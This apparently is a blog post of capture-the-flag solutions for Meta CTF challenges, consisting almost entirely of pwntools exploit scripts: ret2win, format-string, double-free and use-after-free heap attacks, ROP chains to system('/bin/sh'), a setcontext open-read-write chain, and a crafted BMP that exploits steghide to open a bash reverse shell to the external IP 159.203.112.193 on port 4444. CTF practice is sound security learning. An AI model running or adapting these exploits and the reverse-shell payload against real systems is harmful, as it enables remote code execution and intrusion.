dplastico

Meta CTF

Godd challenges, but some of them a little bit outdated, but still good (some of them really good)

Invoice

#!/usr/bin/env python3

from pwn import *

elf = ELF("./invoice_patched")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
b invoice
b *invoice + 378
continue
'''

def one_gadget(filename, base_addr=0):
	  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]
#onegadgets = one_gadget('libc.so.6', libc.address)

def start():
    if args.REMOTE:
        return remote("host1.metaproblems.com", 5400)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

def rcu(d1, d2=0):
  r.recvuntil(d1, drop=True)
  if (d2):
    return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value

#========= exploit here ===================

sla(b"name\n", bc(0xfff0)) #before canary
sla(b"name\n", bc(0xffc0)) #

rop = ROP(elf)

buf = b"A"* 8
buf += b"C"*8
buf += b"D"*8
buf += b"E"*8
buf += b"F"*8 #rbp
buf += p64(rop.find_gadget(["ret"])[0]) 
buf += p64(elf.sym.win) #rip

payload = b"X"*7
sla(b" name:", payload)

sla(b" name:", buf)

#0xb238469ecb3cbf00
#========= interactive ====================
r.interactive()

Text Game

#!/usr/bin/python3
from pwn import *

elf = ELF("./text-game_patched")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
# context.log_level = "debug"
gs = '''
b main
continue
'''

def start():
    if args.REMOTE:
        return remote("host1.metaproblems.com", 5950)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
rcu = lambda d1, d2=0: r.recvuntil(d1, drop=True) if not d2 else r.recvuntil(d2, drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name + " = %#x" % val)

# ========= exploit here ===================
sla(b"name?", b"%c%12$hn")
bet = 150

for i in range(55):
    sl("1")
    sl("heads")
    sl(str(bet).encode('ascii'))
    bet *= 2


sl("3")
sla(b"or cancel",b"shout-out-from-literally-god")
sla("greater than 0", b"1")

# ========= interactive ====================
r.interactive()

double note

Classic double free, heap challenge:

#!/usr/bin/env python3

from pwn import *
import subprocess
import struct

elf = ELF("./doublenote_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
# context.log_level = "debug"
gs = '''
continue
'''

def start():
    if args.REMOTE:
        return remote("host1.metaproblems.com", 5820)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

# Utility shorthands
rcu = lambda d1, d2=0: r.recvuntil(d1, drop=True) if not d2 else r.recvuntil(d2, drop=True)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value

#============== Helper ===================

def double_from_qword(qword):
    """Convert 64-bit int to IEEE-754 double string"""
    packed = struct.pack("<Q", qword)
    return repr(struct.unpack("<d", packed)[0]).encode()

#================ Wrapper Functions ===================

def create(size):
    sl(b"1")
    sla(b"Enter the size of your note:", bc(size))
    rcu(b">>")

def view(idx):
    sl(b"2")
    sla(b"Enter the note ID which you want to view:", bc(idx))
    r.recvline()  # Skip initial confirmation line

    values = []  # List to store parsed 64-bit values

    while True:
        try:
            line = r.recvline(timeout=0.5)
            if b":" not in line or not line.strip():
                break
            try:
                # Parse and convert double to raw 64-bit
                parts = line.strip().split(b":", 1)
                dval = float(parts[1].strip())
                raw = struct.unpack("<Q", struct.pack("<d", dval))[0]
                print(f" chunk -> {hex(raw)}")
                values.append(raw)
            except Exception as e:
                log.warning("Could not parse line: %s", line.strip())
        except EOFError:
            break

    rcu(b">>")
    return values
def edit(idx, qword_values):
    sl(b"3")
    sla(b"Enter the note ID which you want to edit:", bc(idx))
    if isinstance(qword_values, list):
        for i, val in enumerate(qword_values):
            double_val = double_from_qword(val)
            r.sendlineafter(b": ", double_val)
            if i < len(qword_values) - 1:
                sla(b"(y/n)", b"y")
            else:
                sla(b"(y/n)", b"n")
    else:
        raise ValueError("edit() expects a list of 64-bit integers")
    rcu(">>")
def delete(idx):
    sl(b"4")
    sla(b"Enter the note ID which you want to delete:", bc(idx))
    rcu(">>")
def swap(idx, pos1, pos2):
    sl(b"5")
    sla(b"Enter the note ID which you want to swap values in:", bc(idx))
    sla(b"Enter which double to swap:", bc(pos1))
    sla(b"Enter which double to swap with:", bc(pos2))
    rcu(">>")
#================ Exploit Here ===================
rcu(b">>")

create(0x9)
create(0x9)
create(0x18)
create(0x18)
create(0x18)
create(0x18)

edit(0, [0x311,0x1]) #overlap

swap(0, 0, 1)

delete(0)
create(0x60)

payload = []
payload += [0x0]*0xa
payload += [0x000000800001000]
payload += [0x602040] #leaking stdout heap chunks array

edit(0, payload)

log.info(f"leaking")
leaks = view(1)
libc.address = leaks[0]-0x3ec680 
libcbase()
heap = leaks[4]-0x260
logleak("heap", heap)

delete(3)
delete(2)

payload = []
payload += [0x0]*0xa
payload += [0x000000800001000]
payload += [heap+0x360] #
edit(0, payload) 

edit(1, [libc.sym.__free_hook])

create(0x18)
create(0x18)

edit(2, [0x0068732f6e69622f]) #/bin/sh
edit(3, [libc.sym.system])

#free and system on free hook bla bla bla bla
sl(b"4")
rcu(b"delete:")
sleep(0.5)
sl(b"2")
#================ Interactive ====================
r.interactive()

UAF

#!/usr/bin/env python3

from pwn import *

elf = ELF("./uaf_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hp', '70']
#context.log_level = "debug"
gs = '''
continue
'''

def one_gadget(filename, base_addr=0):
	  return [(int(i)+base_addr) for i in subprocess.check_output(['one_gadget', '--raw', '-l1', filename]).decode().split(' ')]
#onegadgets = one_gadget('libc.so.6', libc.address)

def start():
    if args.REMOTE:
        return remote("127.0.0.1", 1337)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

def rcu(d1, d2=0):
  r.recvuntil(d1, drop=True)
  if (d2):
    return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value

#========= exploit here ===================


def create(data):
    sl(b"1")
    sa(b"here:\n", data)
    r.recvuntil(b"Your firewall rule ID is: ")
    idx = int(r.recvline())
    rcu(b">")
    return idx

def view(idx):
    sl(b"2")
    sla(b"view:\n", bc(idx))
    #out = r.recvuntil(b"\n", drop=False)
    #if b"Unknown firewall rule ID." in out:
    #    return None
    ## Output is: Your rule: <content>
    #line = r.recvline().strip()
    #if line.startswith(b"Your rule: "):
    #    return line[len(b"Your rule: "):]
    #return line

def edit(idx, data):
    sl(b"3")
    sla(b"edit:\n", bc(idx))
    sa(b"here:\n", data)
    r.recvuntil(b">")

def delete(idx: int):
    sl(b"4")
    sla(b"delete:\n", bc(idx))
    r.recvuntil(b">")

def exit_menu():
     sl(b"5")


for i in range(8):
    create(b"A")
z = create(b"/bin/sh\0")


for i in range(8):
    delete(z-1-i)


view(0)
leak = u64(rcu(b"Your rule: ", b"\n").ljust(8,b"\x00"))
rcu(b">")
logleak("libc leak", leak)
libc.address = leak - 0x3ebca0
libcbase()
edit(1, p64(libc.sym.__free_hook))

a = create(b"/bin/sh\0")
create(p64(libc.sym.system))

#shell
sl(b"4")
sleep(0.5)
sl(bc(0)) #mejor manual
#shell just delete
#========= interactive ====================
r.interactive()

Learning path

I liked this one

#!/usr/bin/env python3

from pwn import *

elf = ELF("./learning_path_patched", checksec=False)
libc = ELF("./libc.so.6",checksec=False)
ld = ELF("./ld-2.28.so",checksec=False)

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hl', '130']
context.log_level = "info"
gs = '''
b main
continue
'''
def start():
    if args.REMOTE:
        return remote("host3.metaproblems.com", 5340)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

def rcu(d1, d2=0):
  r.recvuntil(d1, drop=True)
  if (d2):
    return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value

#========= exploit here ===================
#1 leak

payload = b"%p-"*8
payload += b"A"*(112-len(payload))
payload += b"B"*8 #rbp
payload += p8(0x81)
sa(b"uck!\n", payload)

leak = int(r.recvuntil(b"ood").strip().split(b"-")[1],16)
logleak('lib leak', leak)
libc.address = leak - 0xea461
libcbase()

#2 pwn

rop = ROP(libc)

payload = b"A"*112
payload += b"B"*8
payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(rop.find_gadget(["ret"])[0])
payload += p64(libc.sym.system)
sa(b"uck!\n", payload)

#========= interactive ====================
r.interactive()

DMZ FIREWALL

This one was cool also

#!/usr/bin/env python3

from pwn import *

elf = ELF("./dmzf_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

context.binary = elf
context.terminal = ['tmux', 'splitw', '-hl', '130']
#context.log_level = "debug"
gs = '''
b main
continue
'''

def start():
    if args.REMOTE:
        return remote("host1.metaproblems.com", 5810)
    if args.GDB:
        return gdb.debug([elf.path], gdbscript=gs)
    else:
        return process([elf.path])

r = start()

def rcu(d1, d2=0):
  r.recvuntil(d1, drop=True)
  if (d2):
    return r.recvuntil(d2,drop=True)
libcbase = lambda: log.info("libc base = %#x" % libc.address)
logleak = lambda name, val: log.info(name+" = %#x" % val)
sa = lambda delim, data: r.sendafter(delim, data)
sla = lambda delim, line: r.sendlineafter(delim, line)
sl = lambda line: r.sendline(line)
bc = lambda value: str(value).encode('ascii')
demangle_base = lambda value: value << 0xc
remangle = lambda heap_base, value: (heap_base >> 0xc) ^ value

#========= Wrapper funcs ===================
def add(data):
    sl(b'add '+ data)
    pos = int(rcu(b"Rule added! Your rule ID is: ", b"\n"))
    rcu(b">")
    return pos

def view(idx):
    sl(b'view '+ bc(idx))
    return r.recvuntil(b"> ")[:-3]
   
def delete(idx, wait=True):
    sl(b'del '+ bc(idx))
    if wait == True:
        r.recvuntil(b"> ")
    else:
       return 
#======== Exploit here ======================
try:
    #We can add to the largebin to get a heap and libc leak https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/bins_chunks
    
    add(b"A"*0x500) # 0x500 (<0x410) to send to largebin and no tcache  because of c++ allocator
    
    add(b"B"*0x500) # this you can leak
    add(b"C"*0x500)
    
    delete(2)
    delete(1) # we can leak from here later on
    delete(0)
    pause()
    leak = view(1) #leak
    
    add(b"A"*0x37)
    add(b"A"*0x37)
    add(b"A"*0x37)
    add(b"D"*0x410)
    add(b"D"*0x410)

    delete(3)
    delete(0)

    delete(1)

    delete(2)




    print(leak)
    #check because remote can be different for env vars like environ
    
    heap_leak = u64(leak[51:57].ljust(8, b"\x00")) #leak 
    libc_leak = u64(leak[667:673].ljust(8, b"\x00")) #leak
    heap = heap_leak - 0x14370

    libc.address = libc_leak - 0x3ebcb0

    logleak("heap leak", heap_leak)
    logleak("heap base", heap)
    logleak("libc leak", libc_leak)
    logleak("libc base", libc.address)

    rop = ROP(libc)
    movrdirdx = libc.address + 0x000000000010127a  # mov qword ptr [rdx], rdi; ret; setcontext known gadget 

    #fill c++ vectors? not sure just debugging i took into account
    for i in range(0, 14):
        add(b"dpla")

    #setcontext trick https://hackmd.io/@pepsipu/ry-SK44pt https://blog.kylebot.net/2020/11/20/WCTF-2020-machbooks/
    #maybe some other ROP can work here
    payload = b"\x00"*0xa0
    payload += p64(heap + 0x14c40)
    payload += p64(rop.find_gadget(["pop rdx", "ret"])[0])
    payload += b"B"*80
    payload += p64(heap + (0x14c40-0x100))
    payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
    payload += b"/dmzf/fl"
    payload += p64(movrdirdx)
    payload += p64(rop.find_gadget(["pop rdx", "ret"])[0])
    payload += p64(heap + (0x14c40-0x100 + 8))
    payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
    payload += b"ag.txt".ljust(8, b"\x00")
    payload += p64(movrdirdx)
    payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
    payload += p64(heap + (0x14c40-0x100))
    payload += p64(rop.find_gadget(["pop rsi", "ret"])[0])
    payload += p64(0)
    payload += p64(rop.find_gadget(["pop rdx", "ret"])[0])
    payload += p64(0)
    payload += p64(rop.find_gadget(["pop rax", "ret"])[0])
    payload += p64(2) 
    payload += p64(rop.find_gadget(["syscall", "ret"])[0])# sys_open
    payload += p64(rop.find_gadget(["pop rsi", "ret"])[0])
    payload += p64(heap + (0x14c40-0x100))
    payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
    payload += p64(3)
    payload += p64(rop.find_gadget(["pop rdx", "ret"])[0])
    payload += p64(61)
    payload += p64(rop.find_gadget(["pop rax", "ret"])[0])
    payload += p64(0) 
    payload += p64(rop.find_gadget(["syscall", "ret"])[0])# sys_read
    payload += p64(rop.find_gadget(["pop rdi", "ret"])[0])
    payload += p64(1)
    payload += p64(rop.find_gadget(["pop rsi", "ret"])[0])
    payload += p64(heap + (0x14c40-0x100))
    payload += p64(rop.find_gadget(["pop rdx", "ret"])[0])
    payload += p64(61)
    payload += p64(rop.find_gadget(["pop rax", "ret"])[0])
    payload += p64(1) 
    payload += p64(rop.find_gadget(["syscall", "ret"])[0])# sys_write
    add(payload) #17 chunk
    add(b"YYYYYYYY")

    #double free sin protecciones en 2.28
    delete(18)
    delete(18)

    add(b"XXXXXXXX")
    add(p64(libc.sym.__free_hook-0x10))
    add(b"ZZZZZZZZ")
    add(p64(libc.sym.setcontext + 0x35))
    log.info(f"Executing setcontext ROP chain")
    delete(17, wait=False) # No prompt, because of shell
    
    r.interactive()

except Exception as e:
    log.failure("Exception: " + str(e))
    try:
        log.failure(r.recvall(timeout=2))
    except:
        pass
finally:
    try:
        r.close()
    except:
        pass

Steg hide

This one was cool also, a vulnerability in the steghide binary that was served trough a webserver, you needed to get a reverse shell, was cool to do it.

#!/usr/bin/env python3
from pwn import *

# Use same structure
bmp_header = (
    b"\x42\x4d"                      # Signature 'BM'
    b"\x1a\x1b\x00\x00"              # File size = 6938 bytes
    b"\x00\x00\x00\x00"              # Reserved
    b"\x1a\x00\x00\x00"              # Offset to pixel data (26 bytes)
    b"\x0c\x00\x00\x00"              # DIB header size = 12 bytes (BITMAPCOREHEADER)
    b"\xff\x7f\x00\x00"              # Width = 0x7fff = 32767 pixels
    b"\x01\x00"                      # Height = 1
    b"\x18\x00"                      # Bits per pixel = 24bpp
)

fake_pixel_data = (
    b"\x6c\x8c\xa2\x61\x86\x9d\x59\x7e\x95\x4f\x7b\x97\x40\x71\x93\x35"
    b"\x69\x90\x39\x6e\x93\x3a\x6f\x94\x3d\x71\x96\x3c\x71\x95\x41\x73"
    b"\x97\x43\x76\x99\x42\x75\x98\x3e\x72\x99\x40\x70\x97\x41\x74\x97"
    b"\x41\x78\x9f\x49\x7f\xa3\x4f\x82"
)

# Overflow payload (can later be ROP or shellcode)
#payload = cyclic(0x2000)

poprdi = 0x0450e8b #pop rdi; ret; 
poprsir15 = 0x045b2f9 #pop rsi; pop r15; ret;
poprdx = 0x042cd0c #pop rdx; ret;
popraxrbxrbp = 0x0414d29 #pop rax; pop rbx; pop rbp; ret; 
syscall = 0x04066b3 #syscall; 
poprsprbp = 0x0406198 #pop rsp; pop rbp; ret;
movptrraxrdx = 0x40b399# mov qword ptr [rax], rdx; nop; pop rbp; ret;
rw = 0x48ac80

ip = "159.203.112.193"
port = 4444

cmd = f"/bin/bash -i >& /dev/tcp/{ip}/{port} 0<&1 2>&1".encode('ascii')
cmd += b"\x00"*7
cmd += p64(0)

cmd_chunks = []
for i in range(0, len(cmd), 8):
    chunk = cmd[i:i+8].ljust(8, b'\x00')
    cmd_chunks.append(chunk)


payload = p64(popraxrbxrbp)
payload += p64(rw)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += b"/bin/bas"
payload += p64(movptrraxrdx)
payload += p64(0)


payload += p64(popraxrbxrbp)
payload += p64(rw+8)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += b"h".ljust(8,b"\00")
payload += p64(movptrraxrdx)
payload += p64(0)

payload += p64(popraxrbxrbp)
payload += p64(rw+0x10)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += b"-c\0".ljust(8,b"\00")
payload += p64(movptrraxrdx)
payload += p64(0)

for i in range(len(cmd_chunks)):
    payload += p64(popraxrbxrbp)
    payload += p64(rw+0x18+(i*8))
    payload += p64(0)
    payload += p64(0)
    payload += p64(poprdx)
    payload += cmd_chunks[i]
    payload += p64(movptrraxrdx)
    payload += p64(0)

payload += p64(popraxrbxrbp)
payload += p64(rw+0x58)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += p64(rw) #/bin/bash
payload += p64(movptrraxrdx)
payload += p64(0)


payload += p64(popraxrbxrbp)
payload += p64(rw+0x60)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += p64(rw+0x10) #-c
payload += p64(movptrraxrdx)
payload += p64(0)

payload += p64(popraxrbxrbp)
payload += p64(rw+0x68)
payload += p64(0)
payload += p64(0)
payload += p64(poprdx)
payload += p64(rw+0x18) #revs shell bash >...
payload += p64(movptrraxrdx)
payload += p64(0)


payload += p64(poprdi)
payload += p64(rw)
payload += p64(poprsir15)
payload += p64(rw+0x58)
payload += p64(0)
payload += p64(poprdx)
payload += p64(0)
payload += p64(popraxrbxrbp)
payload += p64(0x3b)
payload += p64(0)
payload += p64(0)
payload += p64(syscall)
payload += p64(0xdeadbeef)


'''
payload += b'/bin/bas'  # /bin/bas
payload += b'h -i >& '  # h -i >& 
payload += b'/dev/tcp'  # /dev/tcp
payload += b'/127.0.0'  # /127.0.0
payload += b'.1/4444 '  # .1/4444 
payload += b'0<&1 2>&'  # 0<&1 2>&
payload += b'1\x00\x00\x00\x00\x00\x00\x00'  #
'''



with open("xpl.bmp", "wb") as f:
    f.write(bmp_header + fake_pixel_data + payload)

log.success("Malicious BMP written to xpl.bmp")


'''
gadgets

0x0450e8b #pop rdi; ret; 
0x045b2f9 #pop rsi; pop r15; ret;
0x042cd0c #pop rdx; ret;
0x0414d29 #pop rax; pop rbx; pop rbp; ret; 
0x041d81f #pop rax; pop rbx; pop r12; pop r13; pop rbp; ret;
0x04066b3 #syscall; 
0x0406198 #pop rsp; pop rbp; ret;

0x000000000040b399: mov qword ptr [rax], rdx; nop; pop rbp; ret;

rw = 000000000048ac80